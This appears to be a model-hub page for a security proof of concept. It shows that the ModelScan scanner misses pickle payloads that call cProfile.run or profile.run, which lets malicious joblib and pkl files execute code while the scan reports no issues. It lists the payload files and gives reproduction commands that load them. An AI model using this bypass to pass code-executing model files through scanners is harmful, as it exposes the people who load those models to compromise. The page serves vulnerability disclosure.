ModelScan Scanner Bypass via cProfile.run / profile.run
Security research artifact. Do not use in production.
ModelScan v0.8.8 does not include cProfile or profile in its unsafe_globals blocklist. Both cProfile.run() and profile.run() internally call exec() on the statement string argument, achieving arbitrary code execution while the scanner reports "No issues found" with exit code 0.
Files
malicious_cprofile.joblib- cProfile.run RCE payload (114 bytes)malicious_profile.joblib- profile.run RCE payload (112 bytes)malicious_cprofile.pkl- cProfile.run as .pkl (108 bytes)poc_cprofile_bypass.py- generator script
Reproduction
pip install modelscan joblib
modelscan --path malicious_cprofile.joblib
# "No issues found", exit code 0
python3 -c "import joblib; joblib.load('malicious_cprofile.joblib')"
cat /tmp/cprofile_rce_proof
# CPROFILE_RCE_PROOF
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support